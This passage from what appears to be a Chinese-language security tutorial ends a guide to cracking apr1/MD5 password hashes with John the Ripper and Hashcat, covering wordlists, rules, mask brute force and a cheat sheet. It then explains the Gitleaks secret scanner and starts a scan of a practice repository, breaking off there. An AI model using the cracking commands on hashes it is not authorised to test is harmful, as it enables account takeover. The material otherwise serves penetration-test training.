&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自定义字典：结合目标信息生成（如公司名、日期等）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;规则扩展&lt;/strong&gt;：
在 Hashcat 中使用规则增强字典覆盖：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1600&lt;/span&gt; -a &lt;span class="m"&gt;0&lt;/span&gt; hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;暴力破解（最后手段）&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 尝试 6-8 位小写字母+数字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1600&lt;/span&gt; -a &lt;span class="m"&gt;3&lt;/span&gt; hash.txt ?l?l?l?l?l?l?d?d --increment
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-四注意事项"&gt;⚠️ 四、注意事项
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;合法性&lt;/strong&gt;：仅限破解自有或授权数据！&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;成功率：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;简单密码（如&lt;code&gt;password123&lt;/code&gt;）可能在几分钟内破解&lt;/li&gt;
&lt;li&gt;复杂密码（12位+特殊字符）需数天甚至不可行&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;算法特性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;apr1&lt;/code&gt;基于 MD5，但迭代 1000 次增加破解难度&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;盐值（&lt;code&gt;A0vSKwao&lt;/code&gt;）防止彩虹表攻击&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;提示&lt;/strong&gt;：若以上方法失败，可尝试组合工具（如先用 John 初步筛选，再用 Hashcat GPU 深度破解）。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="-附相关命令速查"&gt;📚 附：相关命令速查
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;操作&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;John the Ripper&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;Hashcat&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;基础破解&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;john hash.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;hashcat -m 1600 hash.txt dict&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;指定字典&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;john --wordlist=dict.txt hash.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;hashcat -a 0 hash.txt dict&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;显示结果&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;john --show hash.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;hashcat --show -m 1600 hash.txt&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;建议优先使用 &lt;strong&gt;John the Ripper&lt;/strong&gt; 进行快速尝试，复杂场景切换 &lt;strong&gt;Hashcat + GPU&lt;/strong&gt; 加速。&lt;/p&gt;
&lt;h2 id="gitleaks和gitrob使用方法"&gt;Gitleaks和GitRob使用方法
&lt;/h2&gt;&lt;h3 id="一gitleaks敏感信息检测工具"&gt;&lt;strong&gt;一、GitLeaks：敏感信息检测工具&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="核心功能"&gt;&lt;strong&gt;核心功能&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;扫描 Git 仓库中的硬编码密码、API 密钥、令牌等敏感信息，支持本地仓库、远程仓库及 CI/CD 集成。&lt;/p&gt;
&lt;h4 id="安装方法"&gt;&lt;strong&gt;安装方法&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Kali安装&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install gitleaks
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Docker 部署&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 拉取镜像&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;docker pull ghcr.io/gitleaks/gitleaks:latest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描本地目录（将 /path/to/code 替换为代码路径）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;docker run -v /path/to/code:/scan_dir ghcr.io/gitleaks/gitleaks detect --source &lt;span class="s2"&gt;&amp;#34;/scan_dir&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Homebrew&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;brew install gitleaks
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gitleaks detect --source .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GitHub Action 集成&lt;/strong&gt;：
在 CI 流程中添加以下步骤：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;- &lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GitLeaks Scan&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;gitleaks/gitleaks-action@v2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;GITHUB_TOKEN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${{ secrets.GITHUB_TOKEN }}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="关键命令"&gt;&lt;strong&gt;关键命令&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;功能&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;命令&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;扫描目录&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;gitleaks detect --source /path/to/dir&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;生成 JSON 报告&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;gitleaks detect --report-path report.json&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;自定义规则文件&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;gitleaks detect --config gitleaks.toml&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;Gitleaks scans code, past or present, &lt;span class="k"&gt;for&lt;/span&gt; secrets
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Usage:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; gitleaks &lt;span class="o"&gt;[&lt;/span&gt;command&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Available Commands:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; completion Generate the autocompletion script &lt;span class="k"&gt;for&lt;/span&gt; the specified shell
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; detect detect secrets in code
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;help&lt;/span&gt; Help about any &lt;span class="nb"&gt;command&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; protect protect secrets in code
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; version display gitleaks version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Flags:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; -b, --baseline-path string path to baseline with issues that can be ignored
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; -c, --config string config file path
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; order of precedence:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; 1. --config/-c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; 2. env var GITLEAKS_CONFIG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; 3. &lt;span class="o"&gt;(&lt;/span&gt;--source/-s&lt;span class="o"&gt;)&lt;/span&gt;/.gitleaks.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; If none of the three options are used, &lt;span class="k"&gt;then&lt;/span&gt; gitleaks will use the default config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; --exit-code int &lt;span class="nb"&gt;exit&lt;/span&gt; code when leaks have been encountered &lt;span class="o"&gt;(&lt;/span&gt;default 1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; -h, --help &lt;span class="nb"&gt;help&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; gitleaks
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; -l, --log-level string log level &lt;span class="o"&gt;(&lt;/span&gt;trace, debug, info, warn, error, fatal&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="s2"&gt;&amp;#34;info&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; --max-target-megabytes int files larger than this will be skipped
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; --no-banner suppress banner
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; --redact redact secrets from logs and stdout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; -f, --report-format string output format &lt;span class="o"&gt;(&lt;/span&gt;json, csv, sarif&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="s2"&gt;&amp;#34;json&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; -r, --report-path string report file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; -s, --source string path to &lt;span class="nb"&gt;source&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default: &lt;span class="nv"&gt;$PWD&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="s2"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; -v, --verbose show verbose output from scan
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;Use &lt;span class="s2"&gt;&amp;#34;gitleaks [command] --help&amp;#34;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; more information about a command.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;以下是 &lt;strong&gt;Gitleaks&lt;/strong&gt; 帮助文档的完整翻译及整理结果，附带常用示例用法：&lt;/p&gt;
&lt;h3 id="gitleaks-文档翻译"&gt;&lt;strong&gt;Gitleaks 文档翻译&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;功能&lt;/strong&gt;：扫描代码（历史或当前）中的敏感密钥（如 API Key、密码等）
&lt;strong&gt;命令格式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks [command]
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="可用命令available-commands"&gt;&lt;strong&gt;可用命令（Available Commands）&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;命令&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;completion&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;为指定 shell 生成自动补全脚本（如 bash/zsh）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;detect&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;核心功能&lt;/strong&gt;：检测代码中的敏感密钥&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;help&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;查看命令帮助&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;protect&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;在提交时实时拦截密钥（通常用于 Git Hook）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;version&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示 Gitleaks 版本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="全局参数flags"&gt;&lt;strong&gt;全局参数（Flags）&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-b, --baseline-path &amp;lt;路径&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;指定基准文件路径（忽略已记录的漏洞）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-c, --config &amp;lt;路径&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;配置文件路径（优先级顺序：1. 本参数 &amp;gt; 2. 环境变量 &lt;code&gt;GITLEAKS_CONFIG&lt;/code&gt; &amp;gt; 3. 代码目录下的 &lt;code&gt;.gitleaks.toml&lt;/code&gt; &amp;gt; 4. 默认配置）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;--exit-code &amp;lt;整数&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;检测到密钥时的退出码（默认值 &lt;code&gt;1&lt;/code&gt;，常用于 CI/CD 流程）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-h, --help&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示帮助信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-l, --log-level &amp;lt;级别&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;日志级别（trace/debug/info/warn/error/fatal，默认 &lt;code&gt;info&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;--max-target-megabytes &amp;lt;MB&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;跳过超过指定大小的文件（单位：MB）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;--no-banner&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;关闭横幅提示&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;--redact&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;安全&lt;/strong&gt;：在输出中隐藏密钥内容（替换为 &lt;code&gt;***&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-f, --report-format &amp;lt;格式&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;报告格式（json/csv/sarif，默认 &lt;code&gt;json&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-r, --report-path &amp;lt;路径&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;报告输出路径&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-s, --source &amp;lt;路径&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;扫描的代码目录（默认：当前目录 &lt;code&gt;.&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-v, --verbose&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示详细扫描日志&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;使用 &lt;code&gt;gitleaks [command] --help&lt;/code&gt; 查看具体命令帮助（如 &lt;code&gt;gitleaks detect --help&lt;/code&gt;）&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="典型用法示例"&gt;&lt;strong&gt;典型用法示例&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-基础扫描当前目录"&gt;1. &lt;strong&gt;基础扫描&lt;/strong&gt;（当前目录）
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;扫描当前目录所有文件（包括 Git 历史记录）&lt;/li&gt;
&lt;li&gt;检测到密钥时程序退出码为 &lt;code&gt;1&lt;/code&gt;（可通过 &lt;code&gt;$?&lt;/code&gt; 判断结果）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-扫描指定目录--生成报告"&gt;2. &lt;strong&gt;扫描指定目录&lt;/strong&gt; + &lt;strong&gt;生成报告&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect \
 --source ~/projects/myapp \ # 指定目录
 --report-format json \ # 报告格式
 --report-path leaks.json # 输出文件
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="3-安全扫描隐藏密钥内容"&gt;3. &lt;strong&gt;安全扫描&lt;/strong&gt;（隐藏密钥内容）
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --redact -v
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;输出日志中的密钥将被替换为 &lt;code&gt;***&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt; 显示详细扫描过程&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-与-cicd-集成gitlab-示例"&gt;4. &lt;strong&gt;与 CI/CD 集成&lt;/strong&gt;（GitLab 示例）
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;stages:
 - security

gitleaks_scan:
 stage: security
 image: zricethezav/gitleaks:latest
 script:
 - gitleaks detect --exit-code 1
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;在 CI 流水线中检测到密钥立即失败（&lt;code&gt;exit-code 1&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-使用自定义配置"&gt;5. &lt;strong&gt;使用自定义配置&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect \
 --config custom.toml \ # 自定义规则文件
 --baseline-path baseline.json # 忽略已知问题
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;custom.toml&lt;/code&gt;：定义特定密钥规则（如公司内部密钥格式）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;baseline.json&lt;/code&gt;：忽略历史已处理的漏洞&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="注意事项"&gt;&lt;strong&gt;注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;敏感操作：
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;--redact&lt;/code&gt; 避免密钥在日志中泄露。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;性能优化：
&lt;ul&gt;
&lt;li&gt;用 &lt;code&gt;--max-target-megabytes 10&lt;/code&gt; 跳过大型文件（如二进制文件）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Git 集成：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;protect&lt;/code&gt; 命令可配置为 &lt;code&gt;pre-commit&lt;/code&gt; 钩子（实时拦截提交中的密钥）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;配置优先级：
&lt;ul&gt;
&lt;li&gt;灵活使用 &lt;code&gt;-c&lt;/code&gt; 参数覆盖默认规则，避免漏报。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;通过 &lt;code&gt;gitleaks detect --help&lt;/code&gt; 查看所有参数说明，或访问 官方文档 获取完整配置示例。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="使用-gitleaks-扫描-github-仓库的完整步骤"&gt;使用 GitLeaks 扫描 GitHub 仓库的完整步骤
&lt;/h3&gt;&lt;h4 id="1-克隆目标仓库"&gt;1. &lt;strong&gt;克隆目标仓库&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;git clone --depth 1 https://github.com/megacorpone/megacorpone.com.git
cd megacorpone.com.git
